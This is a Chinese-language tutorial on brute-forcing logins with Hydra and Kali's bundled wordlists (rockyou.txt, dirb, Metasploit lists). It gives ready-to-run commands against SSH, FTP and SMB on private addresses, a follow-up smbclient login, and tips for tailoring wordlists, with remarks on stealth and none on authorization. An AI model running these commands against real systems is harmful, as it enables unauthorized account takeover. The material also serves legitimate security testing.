使用 Kali Linux 自带字典进行密码破解(以 Hydra 为例)是最便捷高效的方式,无需额外下载字典,直接调用系统预装的字典文件即可。以下是详细步骤,包含字典路径、解压方法、适配工具(Hydra)的使用示例及优化技巧:
一、Kali 自带字典核心路径与准备
Kali 预装的字典集中在 /usr/share/wordlists/ 目录下,其中最常用的是 rockyou.txt(需解压),其他字典可根据场景选择。
1. 关键字典路径与说明
| rockyou.txt | /usr/share/wordlists/rockyou.txt.gz | 1400 万 + 弱密码(需解压),覆盖全球常见密码,适用于绝大多数场景(SSH、FTP、Web 等) |
| dirb/common.txt | /usr/share/wordlists/dirb/common.txt | 小型字典(含常见用户名 / 密码),适合快速测试(如 admin:admin 组合) |
| metasploit 系列 | /usr/share/metasploit-framework/data/wordlists/ | 按系统分类(Unix/Windows),针对性破解特定系统密码 |
| default-passwords.txt | /usr/share/wordlists/default-passwords.txt | 设备默认密码(路由器、数据库等),适合攻击未修改默认配置的目标 |
2. 解压核心字典(rockyou.txt 必做)
rockyou.txt 默认是压缩包(.gz 格式),需先解压才能使用:
bash
# 进入字典目录
cd /usr/share/wordlists/
# 解压(需 root 权限,Kali 中默认已授权)
sudo gunzip rockyou.txt.gz
# 解压后生成 rockyou.txt,查看前10行验证
head rockyou.txt
二、结合 Hydra 使用自带字典的实战示例
以最常用的 rockyou.txt 和 dirb/common.txt 为例,演示针对不同服务的破解流程。
场景 1:破解 SSH 服务(用 rockyou.txt 密码字典)
目标:攻击 Linux 目标机(IP:192.168.1.10)的 SSH 服务,尝试用户名 root。
步骤:
确认目标 SSH 端口开放(用 nmap 验证):
bash
nmap -p 22 192.168.1.10 # 显示端口开放(open)则可攻击
执行 Hydra 命令,调用 rockyou.txt 作为密码字典:
bash
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_result.txt 192.168.1.10 ssh
- 参数解析:
- -l root:指定用户名为 root(SSH 常见管理员用户)。
- -P /usr/share/wordlists/rockyou.txt:使用 rockyou 密码字典。
- -t 20:20 线程(平衡效率与被拦截风险)。
- -o ssh_result.txt:保存成功结果到文件。
查看结果:若破解成功,终端会显示类似:
plaintext
[22][ssh] host: 192.168.1.10 login: root password: 123456
同时 ssh_result.txt 中会记录该凭据。
场景 2:快速测试弱密码组合(用 dirb/common.txt)
目标:攻击 FTP 服务(IP:192.168.1.20),批量尝试常见用户名 + 密码组合(如 admin:admin)。
步骤:
dirb/common.txt 包含简单用户名和密码,直接作为用户名字典和密码字典:
bash
hydra -L /usr/share/wordlists/dirb/common.txt -P /usr/share/wordlists/dirb/common.txt -t 10 -vV 192.168.1.20 ftp
- 逻辑:用 common.txt 中的每个条目作为用户名,同时作为密码尝试(覆盖 admin:admin、test:test 等常见组合)。
结果验证:若目标 FTP 存在 test:test 凭据,会显示:
plaintext
[21][ftp] host: 192.168.1.20 login: test password: test
场景 3:破解 Windows SMB 服务(用 metasploit 专用字典)
目标:攻击 Windows 主机(IP:192.168.1.30)的 SMB 服务,使用 Windows 专用密码字典。
步骤:
调用 metasploit 中的 Windows 密码字典:
bash
hydra -l Administrator -P /usr/share/metasploit-framework/data/wordlists/windows_passwords.txt -t 15 -vV 192.168.1.30 smb
- 字典特点:windows_passwords.txt 包含 Windows 常见密码(如 P@ssw0rd、Welcome1 等符合 Windows 密码策略的组合)。
验证:成功后用 smbclient 测试连接:
bash
smbclient //192.168.1.30/C$ -U Administrator%密码 # 替换为爆破出的密码
三、优化技巧:提升自带字典的破解效率
截取字典前 N 行(快速测试)rockyou.txt 全量有 1400 万条,初期可截取前 1 万条快速测试:
bash
# 截取前10000行保存为 small_rockyou.txt
head -n 10000 /usr/share/wordlists/rockyou.txt > /root/small_rockyou.txt
# 用精简字典攻击
hydra -l admin -P /root/small_rockyou.txt … # 其他参数不变
去重与排序(减少无效尝试)部分字典可能有重复条目,去重后效率更高:
bash
sort -u /usr/share/wordlists/dirb/common.txt > /root/unique_common.txt # 去重
结合用户名生成关联密码(社工思路)用 sed 命令在字典中加入用户名相关组合(如在密码后添加用户名 admin):
bash
# 在 rockyou.txt 每条密码后添加 "admin"(如 "123456"→"123456admin")
sed 's/$/admin/' /usr/share/wordlists/rockyou.txt > /root/rockyou_admin.txt
按目标特征筛选字典若目标是中文环境,筛选含拼音或数字的密码(用 grep 过滤):
bash
# 保留包含拼音(如 "zhangsan")或数字的密码
grep -E '[a-z]+|[0-9]+' /usr/share/wordlists/rockyou.txt > /root/chinese_target.txt
四、注意事项
- 通用场景优先用 rockyou.txt(覆盖广)。
- 快速测试用 dirb/common.txt(体积小)。
- 特定系统用对应字典(如 Windows 用 windows_passwords.txt)。
通过以上步骤,可充分利用 Kali 自带字典的优势,高效完成密码破解演练。核心是根据目标服务类型和特征,选择合适的字典并优化使用方式,平衡效率与隐蔽性。



